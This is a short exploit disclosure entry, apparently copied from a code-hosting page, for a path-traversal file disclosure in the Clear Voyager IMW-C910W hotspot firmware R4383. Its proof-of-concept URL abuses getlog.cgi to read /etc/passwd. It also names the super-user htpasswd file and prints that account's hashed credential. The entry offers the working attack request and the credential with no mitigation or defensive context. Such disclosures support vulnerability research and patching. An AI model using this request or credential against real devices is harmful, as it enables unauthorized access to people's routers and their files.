16 lines
No EOL
580 B
Text
16 lines
No EOL
580 B
Text
- # Exploit Title: clear voyager hotspot IMW-C910W - file disclosure
|
|
- # Date: 2016/jul/15
|
|
- # Exploit Author: Damaster
|
|
- # Vendor Homepage: https://www.sprint.com/
|
|
- # Software Link: https://web.archive.org/web/20150526042938/http://www.clearwire.com/downloads/IMW-C910W_V2234_R4383A.bin
|
|
- # Version: R4383
|
|
-
|
|
- poc : http://192.168.1.1/cgi-bin/getlog.cgi?filename=../../etc/passwd
|
|
-
|
|
- vulnerable Device Software Version : R4383
|
|
-
|
|
- super user password
|
|
- =================
|
|
- file : /etc/httpd/super.htpasswd
|
|
- content : super:YBfFG25mEAdSg
|
|
- ================= |